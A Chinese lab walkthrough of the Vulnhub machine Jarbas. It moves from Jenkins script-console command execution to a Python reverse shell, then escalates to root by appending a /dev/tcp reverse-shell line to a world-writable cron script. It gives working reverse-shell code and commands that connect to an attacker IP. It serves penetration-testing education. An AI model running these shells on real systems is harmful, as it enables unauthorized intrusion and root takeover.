#简述
本文借助Vulnhub靶机——Jarbars来学习Cron定时任务提权方式。、
关于cron定时任务提权:
在Linux中 crontab 是一个用于管理定时任务的命令行工具,它允许用户创建、编辑、查看和删除定时任务,以便在指定的时间间隔或特定的时间点自动执行命令或脚本。
/etc/crontab 文件用于管理系统范围的定时任务,它是全局的,与 crontab命令行工具不同,后者是只针对当前用户。
这也就意味着我们可以从这个 /etc/crontab 文件看到任何用户包括root所设置的定时任务,这也是cron定时任务的提权点。
#过程
靶机:192.168.230.223 or 192.168.230.224 (中途ip重新分配了。。都是同一个靶机)
攻击机:192.168.230.128
1、老样子,先使用nmap对C段进行信息收集,确定靶机的IP为 192.168.230.223后再进行端口扫描。
可以看到223靶机开放了 22、80、3306、8080 这几个端口
2、优先选择80端口,使用浏览器访问,显示页面如下所示:
注意到中间的老头,那大概率跟Jenkins脱离不了关系了。。
关于Jenkins:
Jenkins 是一个用于持续集成(Continuous Integration,简称 CI)和持续交付(Continuous Delivery,简称 CD)的开源自动化服务器。它是一个基于 Java 开发的跨平台工具,广泛用于自动化构建、测试和部署软件项目。
看到这个或者类似的logo就可以知道是Jenkins了,网上有爆出过很多关于它的漏洞,实战可以用Nday尝试去打。
3、使用dirsearch工具对站点目录扫描
4、得到一个 /access.html 文件
里面包含3串字符串,初步推测为MD5
4、尝试使用cmd5在线工具网站对其进行解密,解密结果如下所示:
5、访问 8080 端口,果然是Jenkins的后台
6、使用 access.html 中的账号和已解密的密码登录,只有第三个能登录成功,进入后台
7、在上图右侧的 系统管理 -> 脚本命令行 处,存在命令执行漏洞
payload:println "whoami".excute().text
payload:println "cat /etc/passwd".excute().text
成功命令执行
8、但是在这里直接使用反弹shell命令无法成功,包括 nc、/bin/bash、/bin/sh等
9、换一种思路,写一个python脚本然后上传到靶机上执行
python脚本:
# !/usr/bin/python
#This is a Python reverse shell script
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.230.128",5555));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
10、攻击机开启http服务,靶机wget这个python文件到/tmp/目录下
11、test.py文件成功传到 /tmp/ 目录下
12、执行 test.py ,成功反弹shell
13、得到的用户是 jenkins,权限比较低,需要进一步的提权到root
14、查看 /etc/crontab 文件,发现有一个定时任务,并且是以root身份来执行,思路来了,可以利用这个crontab提权点进行提权。
15、查看 /etc/script/CleaningScript.sh 这个文件内容,是一个删除日志的命令
再查看它的的权限设置
发现是777,也就是任何用户都能对它进行读写执行
16、输入命令:echo "/bin/bash -i >/dev/tcp/192.168.230.128/666 0>81" >> /etc/script/CleaningScript.sh
追加反弹shell命令到文件末尾
17、等待个几分钟便成功反弹shell,此时的用户是root
同时拿到root-flag
#总结
1、整体思路:web入口点 -> web权限 -> root权限 (中间没有涉及到个人用户权限)
2、这次打靶过程关键在于 /etc/crontab 这个文件,由于设置这个定时任务的用户配置不当,能被攻击或渗透人员成功利用,从而成功提权。
3、针对上述这点,应该坚持最小化原则,按实际需求分配最低的权限或权限低的用户身份来执行相应的定时任务。